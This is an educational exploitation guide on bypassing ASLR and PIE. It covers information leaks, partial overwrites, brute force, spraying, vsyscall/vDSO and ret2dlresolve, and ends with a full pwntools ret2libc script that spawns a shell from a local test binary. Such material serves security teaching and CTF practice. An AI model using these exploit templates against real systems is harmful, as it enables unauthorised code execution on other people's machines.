Mitigation Bypass
🔥 Advanced
ASLR & PIE Bypass
Address Space Layout Randomization (ASLR) and Position Independent Executables (PIE) randomize memory addresses to prevent reliable exploitation. This guide covers techniques to defeat these protections.
Understanding the Protections
ASLR (System-Wide)
Operating system feature that randomizes:
- • Stack base address
- • Heap location
- • Shared library (libc) addresses
- • mmap() regions
/proc/sys/kernel/randomize_va_space PIE (Per-Binary)
Compile-time option that randomizes:
- • Binary base address (.text)
- • Global Offset Table (GOT)
- • PLT stubs
- • .data/.bss sections
gcc -pie -fPIC program.c bash
# Check ASLR status
cat /proc/sys/kernel/randomize_va_space
# 0 = Off, 1 = Conservative (stack/libs), 2 = Full
# Check if binary has PIE
checksec ./binary
# PIE: PIE enabled / No PIE
# Observe randomization
for i in {1..3}; do
ldd ./binary | grep libc
done
# Each run shows different addresses when ASLR is enabledTechnique 1: Information Leaks
Most Common Bypass
Information leaks are the most reliable ASLR bypass. If you can leak any address from a region,
you can calculate the base and all other addresses in that region.
Format String Leaks
python
from pwn import *
p = process('./vuln')
# Leak stack addresses (find return addresses to main binary or libc)
p.sendline(b'%p.' * 50)
leaks = p.recvline().split(b'.')
for i, leak in enumerate(leaks):
if leak.startswith(b'0x7f'): # libc range on x64
print(f'Offset {i}: {leak} (possible libc)')
elif leak.startswith(b'0x55'): # PIE binary range
print(f'Offset {i}: {leak} (possible PIE binary)')puts() / printf() Leaks
python
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# If you have arbitrary read via GOT
# puts() prints until null byte - perfect for leaking GOT entries
# Leak puts@got to get libc address
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main) # Return to main for second stage
p.sendline(payload)
leaked_puts = u64(p.recv(6).ljust(8, b'\x00'))
# Calculate libc base
libc.address = leaked_puts - libc.symbols['puts']
print(f'[+] Libc base: {hex(libc.address)}')Partial Overwrites
Sometimes you can overwrite only the lower bytes (which aren't randomized):
python
# ASLR only randomizes upper bits
# Lower 12 bits (page offset) are constant
# Example: libc function at 0x7f1234567890
# Only 7f12345 is randomized
# 67890 is always the same
# Partial overwrite: change last 2 bytes of return address
# Success rate: 1/4096 (12 bits of entropy)
# Can improve odds by targeting functions at similar offsets
# or by using ASLR weaknesses (32-bit has less entropy)Technique 2: Brute Force
32-bit Brute Force
32-bit systems have less entropy (~8-16 bits), making brute force feasible:
bash
#!/bin/bash
# Brute force 32-bit ASLR (stack/libc)
# Usually succeeds within 256-65536 attempts
TARGET="./vuln"
PAYLOAD="$(python3 exploit.py)"
attempts=0
while true; do
((attempts++))
echo "[*] Attempt $attempts"
echo "$PAYLOAD" | $TARGET
if [ $? -eq 0 ]; then
echo "[+] Success after $attempts attempts!"
break
fi
# Optional: sleep to avoid overwhelming system
# sleep 0.01
doneStack Spray / Heap Spray
python
# Increase hit probability by spraying target addresses
# Works best with child processes that inherit parent's memory layout
# NOP sled approach: spray NOP instructions followed by shellcode
nop_sled = b'\x90' * 10000
shellcode = asm(shellcraft.sh())
spray = nop_sled + shellcode
# Target middle of spray
target_addr = 0x41414141 # Guess somewhere in spray range
# For heap spray, allocate many chunks
for i in range(1000):
malloc(spray)Technique 3: Return to PLT
No PIE Bypass
If the binary doesn't have PIE, you can use PLT/GOT addresses directly even with ASLR enabled.
The PLT provides trampolines to libc functions at known addresses.
python
from pwn import *
elf = ELF('./no_pie_binary')
# PLT addresses are fixed (no PIE)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
# Use puts@plt to leak puts@got
# Then return to main for second stage
payload = flat([
b'A' * offset,
pop_rdi,
puts_got, # Argument: address to leak
puts_plt, # Call puts
main # Return to main
])
p.sendline(payload)
leaked = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked - libc.symbols['puts']Technique 4: vsyscall / vDSO
vsyscall (Legacy, Fixed Address)
bash
# vsyscall page is at fixed address: 0xffffffffff600000
# Contains syscall stubs for gettimeofday, time, getcpu
# Can be used as ROP gadgets (ret instruction at 0xffffffffff600800)
# Check if vsyscall is available
cat /proc/self/maps | grep vsyscall
# ffffffffff600000-ffffffffff601000 r-xp vsyscall
# Use vsyscall ret gadget
vsyscall_ret = 0xffffffffff600800 # ret instruction
# Note: vsyscall is emulated and may be restricted on modern kernelsvDSO Leaking
python
# vDSO is mapped at random address but contains useful gadgets
# Find vDSO address via auxiliary vector (AT_SYSINFO_EHDR)
from pwn import *
# vDSO is usually adjacent to stack
# If you can leak any stack address, vDSO is predictable
# Common technique: leak environ pointer from libc
environ = libc.address + libc.symbols['environ']
stack_addr = p64_read(environ) # Points to stack
# vDSO is typically above stack in memoryTechnique 5: ret2dlresolve
Force the dynamic linker to resolve a function of your choice without needing a libc leak:
python
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# pwntools automates ret2dlresolve
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
# Build ROP chain
rop.raw(dlresolve.payload)
rop.ret2dlresolve(dlresolve)
payload = flat([
b'A' * offset,
rop.chain()
])
# Add the fake structures
payload += dlresolve.payloadASLR Entropy Analysis
| Region | 32-bit | 64-bit | Brute Force |
|---|---|---|---|
| Stack | 8-11 bits | 22-28 bits | 32-bit feasible |
| Heap | 8-13 bits | 28+ bits | 32-bit feasible |
| Libc/Libraries | 8 bits | 28+ bits | 32-bit: ~256 tries |
| PIE Binary | 8 bits | 28+ bits | 64-bit: impractical |
Complete ASLR Bypass Example
python
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
rop = ROP(elf)
p = process('./vuln')
# Stage 1: Leak libc address
# Use puts to print GOT entry
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0] # Stack alignment
payload1 = flat([
b'A' * 72, # Buffer padding
pop_rdi,
elf.got['puts'], # Argument: puts@got
elf.plt['puts'], # Call puts@plt
elf.symbols['main'] # Return to main
])
p.sendlineafter(b'> ', payload1)
leaked_puts = u64(p.recvline()[:6].ljust(8, b'\x00'))
libc.address = leaked_puts - libc.symbols['puts']
log.success(f'Leaked puts: {hex(leaked_puts)}')
log.success(f'Libc base: {hex(libc.address)}')
# Stage 2: ret2system
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload2 = flat([
b'A' * 72,
ret, # Stack alignment (Ubuntu)
pop_rdi,
bin_sh,
system
])
p.sendlineafter(b'> ', payload2)
p.interactive()Practice Safely
Always practice exploitation in controlled environments. Use CTF challenges, vulnerable VMs,
or purpose-built labs. Never exploit systems without authorization.